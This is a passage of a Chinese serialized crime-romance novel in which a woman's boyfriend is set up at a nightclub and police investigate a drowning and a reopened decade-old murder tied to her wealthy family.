途中曾晖给她打来电话,她没接,直接挂了。 这人也是个犟种,连续给她打了四五次电话,她不接,他就不罢休的阵势。 张越凝干脆关了手机。 第25章第25章陆从景又租了一辆新的车,他…… 陆从景又租了一辆新的车,他跟踪张越凝回了云麓庄园。 他进不去小区,就只在外面找了个合适的停车位,刚好可以盯着小区门口。 大概八点半左右,他看见一辆奥迪A8L停在了小区门口,张蕤帆从车上下来。 跟着他下车的竟然是曾晖。 两人挥手道别后,张蕤帆走进了小区,曾晖则坐回了车上。 陆从景略微诧异。 张蕤帆跟曾晖认识?因为张越凝还是其他? 奥迪启动往市区开去,陆从景果断开车跟了上去。 二十分钟后,奥迪在酒吧一条街最里面的壹世界会所前停了下来。 曾晖和一个瘦子,一个大高个一起下了车。 陆从景认出来了大高个,那是张蕤帆的好友利俊鹏,壹世界的常客。 看着他们进了会所,陆从景停好车也跟了进去。 走进大厅,节奏感极强的音乐伴随着闪耀的频闪灯瞬间占满了顾客的感官。 有侍应上前招呼:“你好,几位?有预约吗?” “我朋友在,利俊鹏订的是哪个房间?” “左边进去8号包厢,利老板刚进去。” 往里走到8号包厢,陆从景从门上的玻璃窗口往里瞄了一眼,看到里面三四个男人在喝酒聊天,曾晖和利俊鹏都在。 8号包厢对面的5号包厢敞开着门,陆从景走过去看了一眼,5号没有客人,他便叫住经过的服务员。 “帮我开个包厢,就这个。” 曾晖今天在公司接待客户的时候,意外遇见了多年不见的同窗好友周维。 周维约曾晖晚上一起吃饭、喝酒叙旧。 父亲失踪几天没消息,又跟女友闹矛盾的曾晖哪有心情出去玩,他本想婉拒,结果周维说,这次聚会他的铁哥们利俊鹏也在。 利俊鹏在鸿达集团上班,他上司张蕤帆会一起来。 听说要跟张蕤帆吃饭,曾晖顿时来了兴趣。 他知道张蕤帆是张越凝的表哥,张越凝曾经想要介绍张蕤帆给他认识,但上次张蕤帆刚好有工作在忙,最后只能不了了之。 这两天他和张越凝吵架后冷战,张越凝到现在都没搭理他,曾晖想着,能借这个机会认识越凝的家人也挺好。 以后两人再吵架,也能有人在中间调和。 事情比他想象中顺利,晚上在餐厅吃饭,张蕤帆来了后,主动跟他招呼。 “你就是曾晖啊,越凝跟我提起过你,你小子本事啊,拐走了我妹妹。” 曾晖紧张地跟未来大舅哥握手问好。 饭局大家聊的很开心,八点多吃完准备下半场。 张蕤帆提出回去接上张越凝一起去壹世界会所唱歌喝酒。 这是和解的机会,曾晖当然乐意。 来到壹世界会所,他坐在包厢跟周维聊天,周维少不了恭维他。 “我们几个老同学,还是你厉害,以后做了张家的孙女婿,我们立刻不同阶级了这就!” 山鸡变凤凰! 曾晖心里高兴,但不好表现出来,他谦虚道:“有什么不一样,还不是打工挣份工资。” 两人轻轻碰了碰杯,继续闲聊。 差不多九点半的样子,又来了几个利俊鹏的朋友,大家开始玩骰子喝烈酒。 曾晖是个工作生活都很规律的人,他不爱喝酒,也不适应这样的场合。 今天是不得不跟着大家一起玩儿。 他不时往门口张望,张蕤帆始终没来。 差不多十点,利俊鹏手机铃声响起,他看了眼屏幕,随即“嘘”了一声,示意大家不要说话。 “张总,你们什么时候到……哈?哎哟……明白的,明白的,能理解……行,我知道。” 挂了电话,利俊鹏满脸歉意地看向曾晖。 曾晖瞬间明白过来,他失望地笑问:“不来?” 利俊鹏小声咕咚了一声:“你跟张小姐闹矛盾了?” 曾晖耸了耸肩没说话。 周维宽慰他:“没事,冷静两天就好了。女人都这样,她生气的时候,你千万不要上赶着去求和,适当的冷静期,比什么都管用。” 见曾晖蔫下来了,利俊鹏拍了拍他的肩膀,“别管那些浮云,今天出来玩,兄弟我包你开心。来唱歌,点一首《死了都要爱》!” 本来就有些醉意的曾晖断气般唱着《死了都要爱》,利俊鹏又叫来几个陪酒的姑娘,划拳行酒令,气氛到位了,不想那些乱七八糟的事,也还是能开心的。 喝得差不多了,利俊鹏递过来一杯酒。 半醉的曾晖下意识拒绝:“我不能再喝了。” “不醉不归,等会儿我送你回去。” 曾晖犹豫了会儿,脑袋疼,或许是酒精的作用,平时很节制的他,鬼使神差的,还是接过了利俊鹏递来的酒杯。 张越凝下了车,看着壹世界会所的大灯牌,不由皱眉。 她问刚从驾驶位上下来的张蕤帆:“你们平时就喜欢在这种地方唱歌跳舞?” 好不容易才把张越凝薅来的张蕤帆赶忙澄清:“正经地方,你别多想了。” 这几年因为工作关系,张越凝在临城的交友圈也很广,据她所知,壹世界会所就不算是什么正经地方。 进了大厅,音乐声炸耳,舞池里跳舞的人跟沙丁鱼似的挤在一起,快乐的有点魔幻。 往里走进了8号包厢,有人在唱歌,有人在划拳,还有人在跟陪酒的小姐卿卿我我。 扫视一圈,目光停在角落的沙发上,一个男的在跟陪酒姑娘舌吻,吻得难舍难分。 见张蕤帆进来,包厢里的人都愣住了,旁人赶紧去拉角落的男人。 正上头的曾晖混混沌沌中不耐烦地甩手:“别捣乱。” “操!”张蕤帆走前去,打量着那个脸上有好几个大红唇印的男子,一拳就挥了过去。 “我给你当和事佬,你他妈在这里偷腥?”说着又是一拳,“你对得起越凝吗?!” 刚才还晕头的曾晖忽然清醒过来。 再一看,门口站着的就是满是震惊、失望或许还有其他更复杂情绪的张越凝。 “越凝,我不是……” 曾晖趔趔趄趄想要过去跟她解释。 结果被张蕤帆一把推倒在地上。 看着这荒诞的一幕,张越凝嘴角轻轻颤抖着,半天说不上话来。 “曾晖,我们完了!” 她转身离开。 他们完了? 曾晖想要站起来结果一个踉跄,又摔倒在地。 张蕤帆跟在张越凝身后,追了出去。 “我找人狠狠修理他一顿,我非好好教训他不可。你也别生气,这种男人,早扔早好!” 走廊灯光昏暗,光影憧憧,烟味混杂着酒味,甚是难闻。 张越凝顿住脚步,她回过头来,怒目相向:“你故意给他设的陷阱,是不是?!” 张蕤帆不否认,“苍蝇不叮无缝的蛋!” “他是有缝的蛋,你就是那个苍蝇!” 被骂是苍蝇的张蕤帆也不生气,“为了能让你清醒,我愿意当苍蝇。” 他话音刚落,外面嘈杂的音乐忽然x停了。 警察上门进行例行检查。 大门口有警察守着出不去,而大厅一片混乱。 这时,听见动静的陆从景从里面出来,他看见张越凝,满脸诧异地打招呼:“张小姐,怎么那么巧?” 张越凝扭头看向陆从景,愕然道:“你怎么也在这里?” “我订了包厢,约了人唱歌。” “你几号包厢?” “5号。” 张越凝朝张蕤帆说:“我去我朋友包厢。” “你朋友?”扫了陆从景一眼,穿着普通,长得还行,不像是能色诱张越凝的,张蕤帆便没阻拦,“好,你去吧,等会儿我送你回家。” 张越凝跟着陆从景进了五号包厢。 包厢比较小,桌上放着商家送的啤酒和果盘,关上门后很安静。 张越凝靠在墙上一动不动。 为了缓解尴尬,陆从景抓了把瓜子,独自磕起来。 良久她忽然问:“你报的警?” 陆从景确实报警了,但他刚报完警就发现警察上门,不知道是碰巧例行检查,还是有其他人报了警。 他说:“对面那个包厢,可能有人嗑药了。” 张越凝捂住脸抽泣起来,听着让人有些心疼。 陆从景也不好劝,只能继续嗑瓜子。 等她不哭了,他才抽了两张纸巾,递过去给她。 张越凝接过纸巾,擦去眼泪,过了会儿,才在沙发上坐了下来。 “那你们两个怎么办?”他问。 张越凝:“你认为我不该分手?” “不不不……”陆从景忙摆手,“我没这个意思。” 说完,他才意识到,“你们分手了?” “就刚才。” 陆从景点头:“理解。” 张越凝坐着发呆。 陆从景给她倒了一杯冰水,他也做不了心灵导师,只能劝她:“喝点水。” 外面有警察在说话,显然警察先去8号包厢检查去了。 “你的朋友呢?”她问。 “进不来,我让他们先回去了。”陆从景脸不红心不跳地撒着谎,他把果盘挪向她这边,“吃西瓜。” 他推测:“至少要半个小时才能走。” 眼前这个失恋的女人,也不知道在想什么,脸上似乎失去了神采,看着楚楚可怜的,让人心疼。 他问:“你跟曾晖是怎么认识的?” 张越凝看着天花板上的彩色射灯,她有点累,不想提曾晖,“能不说他吗?” 她看了眼手表,才过去十分钟。 被关在这里,就他们两人,简直是度秒如年。 陆从景识趣没再问。 “给你唱首歌。喜欢听谁的歌?”他走向点歌台。 她没回话,陆从景点了首热歌榜单上的歌曲。 “一首《青藏高原》送给张越凝小姐。” 从凤凰传奇到《青藏高原》,她发现了,他的口味贴近中年阿姨。 中年阿姨喜欢的歌,旋律还是比较动听的。 她静静听完了他情绪高昂到差点破音的《青藏高原》,整个人都跟着放空了。 唱完,他回头有看她:“心情好点了吗?还不好的话,我接着唱。” 张越凝无奈笑了笑:“我跟曾晖是工作上认识的。” 她情愿跟他聊曾晖,也不想再听他唱歌。 目的达成。陆从景顺势坐下,把手持麦放茶几上。 张越凝:“他们公司有好几个经济纠纷,都是委托我们律所负责的。” “能够得到你的青睐,说明曾晖这个人足够优秀。” 或许吧。张越凝不想评价他。 “也就是说,你们之前完全不认识。” “不认识。怎么了?” “随便问问。”陆从景继续旁敲侧听地问:“我刚才不小心,绝对是不小心,听见你跟你的表哥……那位是你表哥吧?你跟你表哥说,他故意设陷阱陷害曾晖?” 张越凝斜瞟了眼陆从景,缓了缓才说:“既然你偷听到了我们说的话……” 偷听…… 陆从景确实是偷听,他不好反驳。 “那你应该也听见了我们最后的结论:苍蝇不叮无缝的蛋。” 故意陷害是一回事,轻易就上了别人的套,又是另外一回事。 陆从景得出了结论:“你家里不同意你跟曾晖来往?” “陆顾问,你是不是又在审问我?” “我说过我没有审问权。我只是关心你。朋友之间的关心。”陆从景换了个关心的侧重点,“主要是你母亲不同意你们交往,我没猜错吧?” 张越凝如实道:“她不是反对我跟曾晖,她是反对我跟任何其他人,她怕我跳出她的掌控。” 陆从景晃了会儿神。 “这么说,你母亲跟你有严重的寄生关系,她离不开你。” 张越凝想了想,否定道:“她不是离不开我,现在我们家在暗中较劲争遗产,她不希望家里有任何会影响她争取遗产的变动。同时,她也不允许我结婚结的毫无价值。在她心里,每样东西都是明码标价的。” 陆从景动了恻隐之心,有张芷琼这样的养母,张越凝确实过得很艰难,难怪她千万百计想要把张芷琼给送监狱里去。 “既然是臭鸡蛋,也别不开心了。要不,我再给你唱首歌。” 张越凝: “什么表情?我唱的不好听?” “你觉得呢?” “我当然觉得好听。” 她被他逗笑了,“自信不是坏事。” 他见她正对着桌上的啤酒发呆,不由问:“想喝?” 张越凝微微一怔,随即点头:“来点。” 倒了一杯啤酒,递给她,他自己则直接整瓶喝。 两人也没碰杯,各自喝各自的。 她心里装着事情,两人有一搭没一搭地说着话。 外面有嘈杂的脚步声,陆从景碍于她在边上,没有出去探个究竟,不过就算不出去,他也能猜到大概。 有两个警察推门进来,认真打量着他们:两个年轻男女,坐在沙发上一本正经地喝酒。 一个警察登记他们的身份证,一个盘问。 “几点进来的?” “刚进来。” “什么关系?”警察指着他俩。 陆从景看了眼张越凝,“朋友。” “就你们两个?” “其他人在外面进不来。” 警察离开没多久,张蕤帆来接张越凝回去。 离开包厢前,张越凝顿住脚步:“今天谢谢你,改天请你喝酒。” “行,有时间约。”陆从景脸上露出灿烂的笑。 今天不高兴的是她,不是他, 等他们离开,陆从景的手机震动,低头一看,木棉给他发来微信。 临花江下游发现的那具尸体,通过DNA验证,证实是曾立兴。 第25章第25章警方并没有把曾立兴失踪前诡…… 警方并没有把曾立兴失踪前诡异的行踪告知家属,戴丽华和曾晖都以为曾立兴的死纯属意外。 在戴丽华家的客厅,她红着眼做笔录。 程栋梁问她:“曾立兴失踪当天的中午11点45分,你给他打了一个电话,都说了什么?” 戴丽华:“我提醒他别忘了去银行转钱给我,我们准备买房的钱。” “就这些?” “就聊了房子的事,卖家要我们承担所有的税和中介费,要多准备两三万。我让他把他手中的钱都转给我,他有点不乐意。我就说了他几句。” “他为什么不乐意?” “他知道我银行账户上还有钱,他想让我出这笔费用。” 看来夫妻俩平时经济是各管各的。 程栋梁问:“你们夫妻关系怎么样?” 戴丽华:“我们是同学,结婚二十多年了,感情还可以。他就是金钱方面比较小气,其他还好。” 同事快速做笔录,程栋梁又问:“你是什么时候发现曾立兴出事的?” “那天中午雨下的太大了,我不知道老曾有没有去银行,两点多我打给他,他没接,发微信他也没回,后来打电话去他办公室,他同事说他中午去钓鱼了。一开始我也没担心,以为他就是没带手机或者手机没电才联系不上,他那么大的人了,肯定会躲雨不会出事的。等到下班还联系不上,我赶紧打给我儿子,让他去临花江他爸常钓鱼的地方找找,结果我儿子去那边一看,剩下凳子和水桶,人不见了。后来报警,警察和搜救队帮忙去找,只找到钓鱼竿,这么多天都没消息,我有心理准备,知道是凶多吉少,但还是……”说着,戴丽华擦干眼泪,吸了吸鼻子,“他没有福气。” 程栋梁:“曾立兴除了尾号4279的电话号码外,还有没有其他手机号码?” 戴丽华:“他就一个号码。” “确定只有一个?” 戴丽华想了想,“几年前他单位给他配了部新手机,他买过一个号码给旧手机用,说是用来上网的,后来我觉得不划算,让他注销掉了。” 这倒是个新线索。 “那个手机号码是多少?” 戴丽华摇头:“我记不住,他那个号x码就用了两个月,当时我有存,后来删掉了。” “还有谁知道他这个手机号码?” “他用来上网的,其他人都不知道。” “你儿子呢?” “小晖应该也不知道的。” “这个电话号码是在哪儿买的?” “小卖部买的吧,我没问那么清楚。” 这种没实名的电话号码,想要查确实比较难。 程栋梁又问:“最近这段时间,你有发现曾立兴有什么不一样的地方吗?” 戴丽华:“没什么不一样,就是儿子交了女朋友准备结婚了,最近我们都比较高兴,以为能享儿子福了,谁能想到会这样。警察同志,你为什么这么问?” 程栋梁跟她解释:“曾立兴溺水死亡,他的案子既然转交给我们刑侦,那我们就要调查清楚,这究竟是不是意外,你不用多想,我问什么你答什么就好。” 戴丽华叹道:“老曾就是太喜欢钓鱼了,他要是不去钓鱼,什么事都不会有。” 程栋梁:“许忠出事那天晚上,你说你听见许忠家传来‘锵’的一声,还有拖拽木箱或者沙发的声音是吗?” “对。” “详细描述一下拖拽木箱和沙发的声音,是怎样的。” “这我没听见,我就听见‘锵’的一声,拖拽声音是老曾耳朵贴在墙上听见后告诉我的。” 程栋梁跟她确认:“也就是说你没亲耳听见拖拽木箱的声音?” “没有。” “还有个问题,霍兵你认识吧?” “谁?” “霍兵。霍元甲的霍,士兵的兵。” 戴丽华听懂了,“霍兵啊,我认识,我们初中同学。我、老曾还有他,以前一个学校一个班的。” “你们平时来往多吗?” 戴丽华:“好多年前的同学会上见过一面,平时没联系。” “老曾跟霍兵呢?” “也没什么联系。”戴丽华说着,忽然想起什么,“五六年前吧,老曾听说霍兵单位要来家具厂采买大批的办公家具,老曾主动给他打电话揽业务,结果人家不给他面子,跟别人买了。老曾还挺不高兴。” 程栋梁:“你的意思,老曾和霍兵关系不太好?” “不是不好,就一般,没有太多交情。” “霍兵采买办公家具是跟谁买的?” 问的太细了,戴丽华都被问糊涂了,“家具厂的厂长老钟好像是霍兵的亲戚。这也有关系吗?” “我问你答就行。”程栋梁翻看着陆从景发给她的问题,继续:“你刚才说你儿子马上要结婚了?” 戴丽华点头:“是啊,去年谈的女朋友,也一年多了,我们希望他们能早点结婚。” “他们愿意早点结婚?” “愿意啊,都是奔着结婚去的,两个孩子年纪也不小了。” “两家父母见过吗?” 戴丽华不知道儿子和张越凝分手的事,她说:“还没有,女方家是单亲,约了她母亲见面,但她家老人住院了,一直没时间。” “你不认识女方家的人?” 戴丽华尴尬笑了笑:“电视和报纸上看过,算不算认识?” 程栋梁:“女方家是名人?” “在临城算是吧,我儿子的女朋友是鸿达集团老板的外孙女张越凝。不过我之前,不知道她家这么有钱。去年国庆节我和老曾第一次跟越凝在外面吃饭见面,她送了我们一盒非常名贵的虫草、一盒顶级燕窝,一套价值3万的护肤品,还有最新的苹果手机和Ipad,我这才知道她是个富家女。不过她这个人没什么千金小姐的脾气,很温和,比我儿子脾性要好,对我和老曾也孝顺,过年过节一定会给我们买礼物,不说一定会很贵,但肯定会很用心,我关节炎都是她带我去看医生看好的。” 说起张越凝,戴丽华那是滔滔不绝,一百万分的满意。 程栋梁问了个颇为尖锐的问题:“你觉得你儿子跟张越凝般配吗?” 戴丽华不高兴了,“你这话什么意思?我儿子一表人才,名牌大学的高材生,跟越凝都是学法律的,他们有共同话题,聊得来。而且她说,她很喜欢我们家的家庭氛围。” 没人会觉得自家儿子不如人。 程栋梁换了个话题:“曾立兴在百合村租了一套房子,你知不知道?” 戴丽华诧异:“在百合村租房?他租房干什么?” “你不知道?” “不知道啊。他租给谁住?”戴丽华激动地声调都拔高了,“给其他女人?难怪他把钱抓得死死的……” 程栋梁解释:“没有其他女人,那套房子他半年前租的,但只住了一天。你不知情?” 戴丽华摇头表示不知情,“是不是搞错了?他不可能花这冤枉钱啊。” 程栋梁没有回答她这个问题,而是继续询问:“平时跟曾立兴关系最好的都有哪些人?” 戴丽华把跟曾立兴走得比较近的人都罗列出来,警方一一记录。 这边继续询问,刑侦大队办公室里,小耿在跟刘泰安汇报工作。 调查了这么多天,至今没有找到搭载曾立兴的黑车司机。 刘泰安刚好站在电脑屏幕前,他指了指屏幕上的地图。 “曾立兴消失的地方,距离临花江不足500米,他有没有可能没坐黑车,而是去了临花江,然后人为或者意外坠河?” 小耿点头:“我们也怀疑这个,曾立兴最后失踪地段附近确实有条通往临花江的小道一路都没有监控,所以上午我们去那边河段搜了一圈,最后在一处桥墩的缝隙里发现几个烟头,已经把烟头交给鉴定所化验有没有DNA残留,明天会出结果。” “桥墩?” 小耿指着地图上临花江的北侧:“这个位置,是50年代修建的过水桥,19年代弃用并拆毁,只留下几个桥墩。桥墩下水流湍急,又刚好是洪水过后,一旦掉进去,就算会游泳也没用。” 刘泰安知道过水桥的历史,他吩咐:“周围没有监控但有村落,实地走访调查一下,看看有没有线索。” 陆从景、木棉和小董也来到机械厂家属院曾家寻找线索。 程栋梁还在给戴丽华做笔录,陆从景和木棉则到处查看。 曾家是两房两厅,并不算大。 主卧靠墙有一个破旧的书柜,书柜上塞满了各种各样的传奇武侠故事和侦探小说。 陆从景问木棉:“曾立兴喜欢看侦探小说?” 木棉之前没听说过:“我不知道,你问戴丽华。” 小董站在卧室门口问坐在客厅沙发上的戴丽华,“书架上的小说,谁看的多?” “老曾。都是他的书。” 陆从景拿起放在床头的平板电脑,需要密码才能登录。 小董又问戴丽华:“ipad登录密码是多少?” “1351。” 成功登录后,陆从景发现这个平板没有安装社交软件,查看记录,使用最多的是一款小说阅读app。 陆从景问:“谁的ipad?” 戴丽华:“我儿子女朋友送我们的,我和老曾平时用来玩游戏,看小说,我看言情故事,他看一些探案和武侠小说。” 陆从景把ipad递给木棉,准备拿回去给技术部门好好检查。 打开衣柜,里面挂着的衣服大部分是戴丽华的,而曾立兴的只缩在角落里,看上去破破旧旧的,没有多少件。 曾立兴的衣服,不是白色就是灰色的工装,款式非常统一。 搜了点曾立兴的个人物品,没多久笔录结束,他们便都离开了。 曾晖回到家,屋里没开灯,他打开灯,发现母亲孤零零一个人坐在客厅的沙发上。 他边换鞋边说:“姑姑他们先回去了,明天一早直接去殡仪馆汇合。” 戴丽华板着脸质问:“你吸毒了?” “我没有,不知道谁在酒里做了手脚,警察能放我回来,说明我没问题,你是我妈,一进门我就要接受你的审判吗?”曾晖声音里多少有些委屈。 “我才问一句,就变成审判了?你在外面处事,这样不小心,越凝家里会怎么看你啊?不是每个人都是你妈!” 曾晖放下背包,坐了下来。 “她跟我分手了。” 戴丽华震惊:“什么?” “我怀疑这就是个圈套,她表哥的下属带我去喝酒,等我喝醉了,又叫了陪酒女进来。本来张越凝说了不来的,偏偏她又来了!” “曾晖!”戴丽华失望地抄起身边的抱枕扔过去,“怎么回事啊你!” 扔掉砸过来的抱枕,曾晖并不觉得自己有错。 “妈,你还看不明白吗?张越凝家里根本不同意她跟我交往。她妈不是没空,而是不愿意见我!不愿意见我们!这就是她家设的一个圈套,她表哥让人设的圈套!” 戴丽华不能接受这个结果:“那你们x两个打算怎么办啊?真分手啊?” “能怎么办?这个世界不是就她一个女人。”曾晖说这话,多少有赌气的成分。 他相信,只要给两人一点时间,他们是能够和好的。 戴丽华失望至极:“但条件那么好,又喜欢你的,就她一个!你怎么能去玩女人呢?你这混虫!!” 她捂着脸,想了好一会儿,说:“你爸的葬礼,你得告诉她时间,她应该会来的。到时候,我再劝一劝她,帮你说说好话。” “她把我拉黑了。我联系不上她。” 戴丽华拿起手机:“我联系她。” 她编辑好一则长长的微信发过去,结果,旁边多了一个红色的感叹号。 “这怎么回事?” 曾晖侧头一看,“她把你也拉黑了。” 又沉默了好一会儿,戴丽华低喃抱怨:“越凝不是那种无情的人,肯定是你伤她伤太狠了。” 张越凝接了个新案子,在看守所会谈室,她第一次与当事人见面。 徐罡,一个三十五岁的健身教练,长得很帅气。 社会上对长得好看的健身教练有偏见——不是同性恋就是被富婆包养。 她这位当事人显然不是。 他早早结婚生女,是个尽责的丈夫和父亲。 徐罡看着她,问:“怎么换律师了?” “于律师家里有事请长假,您的案子将由我负责。” 已经看不到希望的徐罡无所谓了。 张越凝如实道:“你要是只杀了一个人,还有机会争取死缓、无期甚至20年以下的有期徒刑。但这是五条人命,你要有心理准备。” 徐罡:“我知道。我不后悔。” “理解。”张越凝甚至是敬佩的。 “你也认为我没有错,是吗?” “你没有错。你只是犯了法。” 这句话让徐罡颇为意外,他重复了一遍:“我没有错,我只是犯了法。” “是的。” “你比于律师有意思。” 张越凝微微莞尔,“虽然做了最坏的打算,但我们还是要努力争取一切可能的机会。开庭前,我会申请给你做精神疾病的鉴定。” 徐罡马上否认,“我没有精神病。” “精神病人一般都会认为自己没有精神病,你这个状态是对的,等做了鉴定再说。” “什么时候开庭。” “没那么快,可能要三个月之后。我们有时间可以一起努力。” 住院部15楼,电梯门打开,张越凝往外走,撞见张蕤帆从另外一个电梯出来。 张蕤帆看见她,笑问:“怎么样,心情好点了吗?” 张越凝瞥了他一眼:“以后别往我办公室送花。” “好,我以后不往办公室送。但你要记住,无论什么时候,什么地方,你只要一转身,就会发现,我就在你身后。” 张越凝无奈笑着摸了摸手臂:“你能不能不要跟我说这种话,寒毛都竖起来了。” 见张越凝露出笑容,张蕤帆满脸开心道:“晚上看电影,去不去?” “不去。”张越凝直接拒绝,“难得休息,想在家玩游戏。” “行吧,我上线陪你玩。” 两人进了套房客厅,成叔提醒他们,姑奶奶跟赖嘉和在里面。 贺成:“老爷子交待说,如果你们来了就直接进去。” 张越凝和张蕤帆互相交换了一个眼神,往病房走去。 赖嘉和手里拿着ipad,帮老爷子打开了门户网站的国际新闻页面。 见他们进来,姑奶奶张红芳无视张蕤帆,主动跟张越凝打招呼:“越凝来了。” “姑奶奶。” 张红芳故意找茬:“越凝,我听说你男朋友吸毒被抓了?怎么回事啊?” 张鸿禺一听,视线转移过来,他没听说越凝有男朋友的事。 “姑奶奶你哪里听到的消息?”张越凝不承认也不否认,只能转移话题。 张红芳也不好说消息来源,只笑道:“我也是打牌的时候听别人说的。” 张蕤帆:“姑奶奶你消息有点偏差,那不是越凝男友,不过是追求越凝的一个公司法务,人家也没吸毒,就是喝多了。您还是多关心关心嘉和,我听说嘉和前几天跟供应商喝酒,差点被涉黄的抓了。” 这指控可就严重了。 涉黄倒是其次,最重要的是跟供应商喝酒涉黄,那不是明晃晃指责赖嘉和有贪污之嫌么? 张红芳顿时涨红了脸,生气道:“哎,你别乱说话呀!谁涉黄了?” 她自动略过供应商,把重点放在涉黄上。 赖嘉和站起身,忍着没翻白眼:“那纯属误会。” 张越凝知道是误会,但她也不想帮他们解释,只拿起床头挂着的医生巡房记录表细看。 她实在是懒得跟他们多说话。 等姑奶奶祖孙俩离开,张蕤帆和张越凝才陪着老爷子吃晚饭。 张鸿禺最近病情反复没胃口,吃不了多少东西,他主要是喜欢看孙辈们吃。 吃完,张蕤帆上洗手间去了。 屋子里就剩下爷孙俩,张鸿禺问张越凝:“我听说皓钧的案子重启调查了,你知道吗?” 张越凝没有隐瞒:“知道,估计这两天警方会有人来沟通。” “这一整天我都在想这件事,要说这么多年,我有什么仇家,也就只有一个。” 张越凝好奇:“谁啊?” 老爷子感叹道:“人早死了,也不可能是他来寻仇。” 刚好张芷琼从外面进来,她没听清张鸿禺的话,问:“寻什么仇?” 张鸿禺不搭话,张越凝笑道:“爷爷说他这辈子只有一个仇家……” “那这个仇家肯定是赖平!当年赖平又懒又穷还没出息,爸爸反对姑姑嫁给他,赖平母亲来我们家提亲,受了点委屈,结果回家就喝农药自杀了。” 张越凝知道爷爷反对姑奶奶嫁给姑爷爷赖平的事,但不知道姑爷爷的母亲为此自杀。 后来两家还因为其他事,闹的很不愉快,张越凝犹记得赖平曾经上门闹事被成叔找人打的很惨。 直到几年前赖平去世,两家关系才彻底好转。 张芷琼早知道张皓钧案重启的事,她不忘暗暗放了一把火:“要真是赖平杀了皓钧,我就找人把赖嘉和砍死,让他们老赖家也绝后!” “好了,别说了!”张鸿禺不愿意提起赖平,他不耐烦地瞥了眼张芷琼,父女俩的关系,始终没办法彻底修复。 也就只能这样了。 机械厂家属院只有前后大门有监控,警方查了监控后发现曾立兴出事之后,戴丽华只在第三天去大门口小店买过一次蚊香,其他时间段,她没离开过小区。 而曾立兴曾经用过的另外一个电话号码,目前还没有线索。 打捞上来的遗物里,也没找到他的手机,所以想要查他第二个号码的通讯记录,尚无从下手。 桥墩缝隙里的烟头DNA检测结果出来了,其中一个烟头上,的确有曾立兴的唾液成份。 可以确定,曾立兴从监控中消失后,来到过水桥的桥墩,而且很大可能就是在这里坠入临花江的。 警方走访了周围的村庄和小区,有人在曾立兴彻底失踪当日上午5点多,看见两个人站在桥墩上说话。 “那天雾很大,看不清桥墩上的人长什么样,就看见两个男的。” “能不能描述一下他们身高多少,穿什么衣服?” “都是那种灰不溜秋的衣服,太远了,看不清,反正个头都不高。我在割草,没有一直盯着他们,等我再抬起头的时候,发现只有一个人离开桥墩。” “只有一个人?” “对啊,我就很奇怪,另外一个人哪里去了?我就低头几秒的时间,他要飞也没那么快飞走啊。” 第27章第27章张皓钧案重启后,终于进入调…… 张皓钧案重启后,终于进入调查走访阶段。 张家众人都接受了警方问询。 张皓钧被杀当天下午,张芷琼在建设银行办理业务,之后驱车去百步中学接了张越凝回家。 鸿达集团总经理办公室,桌上摆放着张芷琼跟父亲、女儿三人的合照。 张芷琼虽面带微笑,但气场强大,与人距离感很强。 夏木棉手中的签字笔刷刷做着笔录,田海亮则继续询问。 “你们是住一起的吧?你当时为什么只接女儿,没接张皓钧?” 张芷琼解释:“皓钧有司机接送,那天他让司机在校外路口等他,我大概五点左右给他打了个电话,知道他没那么早回去,司机要等他,那我女儿就没人管了,我就赶紧打给女儿,接她回家。那天下午到晚上,我都跟女儿在一起,我们可以互相做证。” 田海亮:“你们母女关系如何?” 张芷琼淡定一笑,“母慈女孝。我女儿很优秀,读书的时候经常全年级第一,她现在是知名律师。” 田海亮:“x张皓钧去世后,你父亲修改了遗嘱?” 张芷琼:“是修改了遗嘱,不过究竟怎么修改,我并不知情。我父亲确实说过,以后鸿达集团都是我们母女的,但他年纪大了,早上说的话他晚上都可能不承认,我们做儿女的不会去强求,他愿意给我留多少就是多少。” 木棉快速做着笔录,要不是知道张芷琼和张越凝的真实关系,她可能还真被张芷琼的说辞给忽悠了。 田海亮问:“你跟曾立兴认识吗?” “曾立兴?怎么写?” 田海亮拿起她桌上的笔,在记事本上,写了“曾立兴”三个字。 张芷琼摇头:“不认识。没听说过。” 田海亮:“他儿子在跟你女儿交往。” 张芷琼恍然大悟:“不是钓鱼失踪了,刚找到尸体吗?” 田海亮没回答她的问题,又问:“你跟曾立兴没见过面?” “没见过。我女儿早跟他儿子分手了,我们两家并没有什么联系。”张芷琼盯着田海亮,疑惑追问,“这跟皓钧的案子有关系吗?” “暂时无可奉告。”田海亮换了个话题,“你们家有什么仇家吗?” 张芷琼把父亲反对她姑姑嫁给赖平的事说了。 “当年赖平母亲自杀,赖平曾经说过要让我们家断子绝孙的话。” “这么大的仇,最后你姑姑怎么还是嫁给了赖平?” “我姑犯贱呗!”张芷琼毫不掩饰自己对姑姑一家嗤之以鼻的厌恶,“她住到人家家里,一定要嫁,最后搞得未婚先孕,我爸没办法,只能同意她嫁了。婚后两家也不怎么来往,赖平放不下心结,动不动就咒骂我们老张家断子绝孙。” 田海亮了解张家的亲属情况,“据我所知,你姑姑家的儿子儿媳还有孙子,都在你们公司上班?” 张芷琼大概叙说了两家这么多年的恩怨。 她姑姑张红芳和赖平结婚后日子过的很艰难,在食品站做负责人的张鸿禺终究还是不舍自家妹妹受苦,就给赖平找了一个屠宰场的铁饭碗。 在那个年代,能在屠宰场上班,肉是不愁吃的,是一份很抢手的工作。 但赖平却认为张鸿禺本可以给他安排更好的工作,却让他去杀猪,故意让他不体面,赖平心中没有半点感恩,只有怨恨。张鸿禺也是怎么看他怎么不顺眼。 后来改革开放,张鸿禺下海开厂,事业做起来了。 赖平的儿子赖文斌中学毕业后就被张鸿禺安排进鸿达上班,一路栽培提拔。 之后张鸿禺又做主给赖文斌娶妻买房,非常照顾。 赖文斌也算争气,做到了公司的中层管理。 2004年,赖文斌负责对接的业务出了大问题,被张鸿禺降职降薪,他自己心态不好,开车接送小孩时走神出了车祸,他那小儿子就这样没了。 张芷琼:“没了小孙子的赖平为此又怨上我爸,还借醉找上门大闹过一次,被我们家里司机给打了。几个月之后,皓钧就出事了。现在想想,说不准真是他。” 这个信息还比较有价值,田海亮问:“赖平去世了吧?” 张芷琼:“走了有五六年。具体多久,你们自己去查吧。” 警方很快传唤了张红芳和赖文斌。 赖文斌听到消息后,是有备而来的。 他全程都表示不知情,张皓钧出事那天,他在正常上班,他爸做什么他不知道。 张红芳也说不记得十年前的事了。 “我只记得那天晚上,我和赖平都在家看电视,我接到我儿子电话,知道皓钧出事,我赶紧去了我大哥家里。” “赖平有一起去吗?” “没有。他在家没去。” 警察查了赖平张红芳夫妇的银行账户信息,张皓钧被杀前几天赖平银行账户有一笔大额取现。 